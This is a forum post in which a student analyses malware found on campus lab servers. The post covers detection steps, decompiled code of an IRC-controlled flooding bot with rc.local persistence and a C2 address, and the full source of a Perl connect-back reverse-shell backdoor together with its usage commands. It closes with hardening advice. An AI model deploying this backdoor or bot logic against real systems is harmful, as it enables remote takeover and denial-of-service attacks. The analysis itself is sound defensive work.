AuthorForum Account: gxkyrftx
0 Introduction
I am a student, about to graduate. In my spare time, I deployed some honeypots on the internal servers of the campus network and found many interesting things. Here’s a record of one of them.
1 Honeypot Alerts
When I regularly opened the honeypot page, I saw several alert messages. The IPs were quite familiar, coming from the server cluster of the laboratory, so there was no need to collect honeypot dictionaries for reverse cracking.
2 Server Virus Investigation
I logged in with my account and, aside from it being a bit laggy, there was nothing unusual. The CPU usage from the top command was a bit high, which also contributed to the lag.
2.1 Check Directories
Based on my experience from the past few months fighting against this group, I checked files in several specific directories (/opt, /etc, /tmp, ~) and found none of the tools and files commonly used by this group (I will dedicate a separate post to this if anyone is interested, haha). No screenshots here.
2.2 Check Logs
I browsed the logs under /var, and the main logs to focus on in Linux are:
/var/log/syslog
/var/log/messages
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/secure
/var/log/auth.log
/var/log/user.log
/var/log/wtmp
/var/log/lastlog
/var/log/btmp
/var/run/utmp
All logs in the machine were overwritten and cleared. This was unexpected for me because based on their past behavior, they did not usually perform this action. Later, I realized it was to cover their tracks. With the top command showing high CPU usage, I thought of something: bash command substitution.
2.3 Check Network Connections
Here are a few commands I often use:
netstat -atnp to check network connections
ss -t -a -pl also checks network connections
Using these two commands, I found a connection communicating with the external network that had no process ID or name.
I checked this IP against threat intelligence and found it flagged.
Thus, I determined that this established connection was problematic, hiding the process ID and name. As for the method of hiding, combined with the earlier top command, it’s not hard to guess it used bash command substitution.
2.4 Check Bash Commands
Taking the netstat command as an example, I found the directory of netstat using whereis, and then used stat to check it. The modification time seemed a bit off, indicating recent changes.
Other commands like ls and ps also showed recent modifications, raising my suspicion.
2.5 Validate Assumptions
Using commands from busybox, I compared the results with the system commands to validate our assumptions. Busybox can be installed directly via docker:
sudo docker run –rm -itv /tmp/:/tmp busybox:uclibc
We used ./busybox netstat and netstat to compare results, as shown in the following image:
We can see that the command in busybox displayed the process ID and program, confirming our suspicions.
3 Virus Details
Based on the process ID found, I used ./busybox lsof to view detailed information about the process.
By accessing this directory and checking its details, we also looked at the differences between the system commands and busybox commands.
3.1 Virus File Analysis
Here I will analyze a few unique behaviors from this attack; the information in the test folder has been seen before and will not be analyzed.
3.1.1 systemd
This is an elf64 file that has been packed with upx. We can directly use upx -d to unpack it. Then we enter the main function to take a look at its functionality:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
...
v17 = argv;
v36 = "/etc/rc.local";
v35 = fopen64("/etc/rc.local", "r", envp); // Get the DNS address of this server
if ( !v35 )
{
v36 = "/etc/rc.local";
v35 = fopen64("/etc/rc.local", "r", v3);
}
if ( v35 ) // Get file directory
{
v34 = strlen(*argv);
v33 = 0;
getcwd(&buf);
if ( (unsigned int)strcmp(&buf, "/") )
{
while ( (*argv)[v34] != 47 )
--v34;
v4 = &(*argv)[v34];
v5 = "\"%s%s\"\n";
sprintf((unsigned __int64)&v20);
while ( !(unsigned int)feof_unlocked(v35, v5) )
{
fgets_unlocked(v21, 1024LL, v35);
v5 = &v20;
if ( !(unsigned int)strcasecmp(v21, &v20) )
++v33;
}
if ( v33 )
{
fclose(v35);
}
else
{
fclose(v35);
v26 = fopen64(v36, "a", v6);
if ( v26 )
{
fputs_unlocked(&v20, v26);
fclose(v26);
}
}
}
else
{
fclose(v35);
}
} // Originally there was a fork anti-debugging, I directly nop'd it
v7 = strlen(*v17);
v8 = "systemd";
strncpy(*v17, "systemd", v7); // The filename must be systemd
for ( i = 1; i < argc; ++i )
{
v9 = strlen(v17[i]);
v8 = 0LL;
memset(v17[i], 0LL, v9);
}
v10 = time(0LL);
v11 = v10 ^ (unsigned __int64)getpid(0LL, v8);
v12 = v11 + (unsigned int)getppid();
srand(v12);
nick = makestring(); // Randomly select some names from /usr/share/dict/american-english
ident = makestring();
user = makestring();
chan = (__int64)"#root";
key = (__int64)"null";
server = 0LL;
while ( 1 )
{
LABEL_21:
con(v12, (__int16 *)v8); // Connect to c2 server
Send(sock, (__int64)"NICK %s\nUSER %s localhost localhost :%s\n", nick, ident, user, v13, v17);// socket connection
while ( 1 )
{
v30 = v18;
for ( j = 16; j; --j )
{
v14 = v30;
++v30;
*v14 = 0LL;
}
v18[(unsigned __int64)sock >> 6] |= 1LL << (sock & 0x3F);
v22 = 1200LL;
v23 = 0LL;
v12 = (unsigned int)(sock + 1);
v8 = (char *)v18;
if ( (signed int)select(v12, v18, 0LL, 0LL, &v22) <= 0 )
break;
for ( k = 0LL; k < numpids; ++k )
{
if ( (signed int)waitpid(*(unsigned int *)(4 * k + pids), 0LL, 1LL) > 0 )
{
for ( l = k + 1; l < (unsigned __int64)numpids; ++l )
*(_DWORD *)(4LL * (l - 1) + pids) = *(_DWORD *)(4LL * l + pids);
*(_DWORD *)(4LL * (l - 1) + pids) = 0;
v25 = malloc(4 * (--numpids + 1));
for ( l = 0; l < (unsigned __int64)numpids; ++l )
*(_DWORD *)(4LL * l + v25) = *(_DWORD *)(4LL * l + pids);
free(pids);
pids = v25;
}
}
if ( ((unsigned __int64)v18[(unsigned __int64)sock >> 6] >> (sock & 0x3F)) & 1 )// This part sends relevant information to the c2 server and can also receive commands from c2
{
v8 = v21;
v12 = (unsigned int)sock;
n = recv((unsigned int)sock, v21, 4096LL, 0LL);
if ( n <= 0 )
goto LABEL_21;
v21[n] = 0;
for ( m = (_BYTE *)strtok(v21, "\n"); m && *m; m = (_BYTE *)strtok(0LL, "\n") )
{
filter(m);
if ( *m == 58 )
{
for ( n = 0; ; ++n )
{
v15 = n;
if ( v15 >= strlen(m) || m[n] == 32 )
break;
}
m[n] = 0;
strcpy(&v20, m + 1);
strcpy(m, &m[n + 1]);
}
else
{
*(_WORD *)&v20 = 42;
}
for ( n = 0; ; ++n )
{
v16 = n;
if ( v16 >= strlen(m) || m[n] == 32 )
break;
}
m[n] = 0;
strcpy(&v19, m);
strcpy(m, &m[n + 1]);
for ( n = 0; (&msgs)[2 * n]; ++n )
{
if ( !(unsigned int)strcasecmp((&msgs)[2 * n], &v19) )
((void (__fastcall *)(_QWORD, char *, _BYTE *))*(&off_6141E8 + 2 * n))((unsigned int)sock, &v20, m);
}
v8 = "ERROR";
v12 = (__int64)&v19;
if ( !(unsigned int)strcasecmp(&v19, "ERROR") )
goto LABEL_21;
}
}
}
}
}
The con function connects to the c2 server, and the address of the c2 is not stored in plaintext; it is randomly decrypted from several strings during program execution. Below are the encrypted strings.
.data:0000000000614060 servers dq offset aVcuvcyZVoqVcy7
.data:0000000000614060 ; DATA XREF: con+59↑r
.data:0000000000614060 ; "<vCuvCy<z*?voq$$vCy?73"
.data:0000000000614068 dq offset aWymBymZymz ; ";wym_Bym;ZymZ,"
.data:0000000000614070 dq offset aVa7yefzyS ; "vA7yEFzy<s"
Below is the decrypted domain name:
The IP is the previously mentioned 45.137.149.196.
After decryption, a socket connection is established with the c2 server. Below is the complete content of the con function:
__int64 __fastcall con(__int64 a1, __int16 *a2)
{
...
while ( 1 )
{
LABEL_1:
sock = -1;
v2 = time(0LL);
v3 = v2 ^ (unsigned __int64)getpid(0LL, a2);
v4 = v3 + (unsigned int)getppid();
srand(v4);
if ( !changeservers )
server = (__int64)servers[(signed int)rand(v4, a2) % numservers];
decode(server, 0LL);
v11 = &decodedsrv;
changeservers = 0;
do
{
a2 = (__int16 *)1;
sock = socket(2LL, 1LL, 6LL);
}
while ( sock < 0 );
if ( (unsigned int)inet_addr(v11) && (unsigned int)inet_addr(v11) != -1 )
break;
v10 = gethostbyname(v11);
if ( v10 )
{
bcopy(**(_QWORD **)(v10 + 24), &v8, *(signed int *)(v10 + 20));
goto LABEL_11;
}
v11 = 0LL;
close((unsigned int)sock, 1LL);
}
v8 = inet_addr(v11);
LABEL_11:
v6 = 2;
v7 = htons(1LL);
a2 = (__int16 *)21537;
ioctl(sock);
v9 = time(0LL);
while ( 1 )
{
if ( (unsigned __int64)(time(0LL) - v9) > 9 )
{
LABEL_19:
v11 = 0LL;
close((unsigned int)sock, a2);
goto LABEL_1;
}
*(_DWORD *)_errno_location() = 0;
a2 = &v6;
if ( !(unsigned int)connect((unsigned int)sock, &v6, 16LL) || *(_DWORD *)_errno_location() == 106 )
break;
if ( *(_DWORD *)_errno_location() != 115 && *(_DWORD *)_errno_location() != 114 )
goto LABEL_19;
sleep(1LL);
}
setsockopt((unsigned int)sock, 1LL, 13LL, 0LL, 0LL);
setsockopt((unsigned int)sock, 1LL, 2LL, 0LL, 0LL);
return setsockopt((unsigned int)sock, 1LL, 9LL, 0LL, 0LL);
}
The above discusses the communication between the server and the host. Below are some signals corresponding to different functions and functionalities, which will not be elaborated further.
.data:0000000000614080 flooders dq offset aPan ; "PAN"
.data:0000000000614088 off_614088 dq offset pan
.data:0000000000614090 dq offset aUdp ; "UDP"
.data:0000000000614098 dq offset udp
.data:00000000006140A0 dq offset aUnknown ; "UNKNOWN"
.data:00000000006140A8 dq offset unknown
.data:00000000006140B0 dq offset aRandomflood ; "RANDOMFLOOD"
.data:00000000006140B8 dq offset randomflood
.data:00000000006140C0 dq offset aNsackflood ; "NSACKFLOOD"
.data:00000000006140C8 dq offset nsackflood
.data:00000000006140D0 dq offset aNssynflood ; "NSSYNFLOOD"
.data:00000000006140D8 dq offset nssynflood
.data:00000000006140E0 dq offset aAckflood ; "ACKFLOOD"
.data:00000000006140E8 dq offset ackflood
.data:00000000006140F0 dq offset aSynflood ; "SYNFLOOD"
.data:00000000006140F8 dq offset synflood
.data:0000000000614100 dq offset aNick ; "NICK"
.data:0000000000614108 dq offset nickc
.data:0000000000614110 dq offset aKekserver ; "KEKSERVER"
.data:0000000000614118 dq offset move
.data:0000000000614120 dq offset aGetspoofs ; "GETSPOOFS"
.data:0000000000614128 dq offset getspoofs
.data:0000000000614130 dq offset aSpoofs ; "SPOOFS"
.data:0000000000614138 dq offset spoof
.data:0000000000614140 dq offset aHackpkg ; "HACKPKG"
.data:0000000000614148 dq offset hackpkg
.data:0000000000614150 dq offset aDisable ; "DISABLE"
.data:0000000000614158 dq offset disable
.data:0000000000614160 dq offset aEnable ; "ENABLE"
.data:0000000000614168 dq offset enable
.data:0000000000614170 dq offset aUpdate ; "UPDATE"
.data:0000000000614178 dq offset update
.data:0000000000614180 dq offset aFuckit ; "FUCKIT"
.data:0000000000614188 dq offset killd
.data:0000000000614190 dq offset aGet ; "GET"
.data:0000000000614198 dq offset get
.data:00000000006141A0 dq offset aVersion ; "VERSION"
.data:00000000006141A8 dq offset version
.data:00000000006141B0 dq offset aKillall ; "KILLALL"
.data:00000000006141B8 dq offset killall
.data:00000000006141C0 dq offset aHelp ; "HELP"
.data:00000000006141C8 dq offset help
.data:00000000006141E0 msgs dq offset a352 ; "352"
.data:00000000006141E8 off_6141E8 dq offset _352
.data:00000000006141F0 dq offset a376 ; "376"
.data:00000000006141F8 dq offset _376
.data:0000000000614200 dq offset a433 ; "433"
.data:0000000000614208 dq offset a422 ; "422"
.data:0000000000614210 dq offset a376 ; "376"
.data:0000000000614220 dq offset aPrivmsg ; "PRIVMSG"
.data:0000000000614228 dq offset _PRIVMSG
.data:0000000000614230 dq offset aPing ; "PING"
.data:0000000000614238 dq offset _PING
.data:0000000000614240 dq offset aNick ; "NICK"
.data:0000000000614248 dq offset _NICK
.data:0000000000614250 align 20h
3.1.2 dc.pl
#!/usr/bin/perl
use Socket;
print "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] <Port>\n";
exit(1);
}
print " Dumping Arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print " Connecting...\n";
$proto = getprotobyname('tcp') || die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connect\n");
}
print " Spawning Shell\n";
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash' . "\0" x 4;
exit(0);
}
print " Datached\n\n";
This script aims to create a reverse shell; the specific usage is:
Listen on local port on VPS: nc -lvp port
Run ./dc.pl vps port, and a shell will appear on the VPS.
3.1.3 /lib/libpam_miv
This file stores the passwords of the root users who have logged in recently.
3.1.4 /lib/libscorep_ak
This folder contains the bash commands executed by users, with some recorded formats as follows:
sudo -i
ls --color=auto -l --color=auto
mkdir bin
ls --color=auto -l --color=auto
sudo mkdir bin
ls --color=auto -l --color=auto
mkdir etc
sudo mkdir etc
sudo mkdir lib
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
ls --color=auto -l --color=auto
3.1.5 /lib/libscorep_tp
This folder contains all the attack tools used in this attack, including the local shadow, passwd, user operation records, etc. It is suspected they intend to package and take them away?
3.1.6 /etc/kernelvqi
This directory is the installation package for the entire attack tool, which can be proven based on preliminary search results of strings.
File extraction directory.
3.2 Temporary Virus Removal Methods
-
Use busybox to kill the process ID, and then find that another process has started.
-
We entered proc to check the process information and found that it was still from that virus directory.
We checked a few processes adjacent to the process ID and found that it was likely the previous pl script executing, so we chose to kill them all.
At this point, checking the network connections revealed that they had been disconnected, and we were temporarily safe.
-
Then use busybox to delete the previously appeared directories and various files. (Reinstalling the system is the best option)
4 Protective Measures
Based on recent virus activity, the virus primarily performs large-scale scanning of the internal network through SSH weak passwords. After finding a batch of compromised machines, it will implant backdoor programs, including but not limited to: openssh backdoor, reverse shell, adding users, SSH public key password-free login, etc. After setting the backdoor, it usually performs large-scale scanning every few days, and the dictionary used for scanning is constantly updated (because the compromised machines have tools to record, and there are also cases of bash command substitution). The recent summary of protective measures is as follows:
-
Absolutely do not leave weak passwords, whether for web, SSH, or databases; weak passwords are the first line of defense.
-
If you feel something is off, check network connections, CPU utilization, etc., you might be surprised.
-
Servers should preferably not set up SSH password-free login for convenience (a bloody lesson); once one server is compromised, the entire cluster/other password-free login clusters are doomed.
-
It is best to set up an IP whitelist; if compromised, set up a blacklist promptly.
-
Regularly conduct security checks on servers, upgrade server systems to prevent exploitation of system vulnerabilities (Dirty Cow, etc.) for privilege escalation.
––OfficialForumAccount
www.52pojie.cn
––RecommendtoFriends
PublicWeChatAccount:WeLoveBreakingForum
OrSearchWeChatAccount:poji_e_52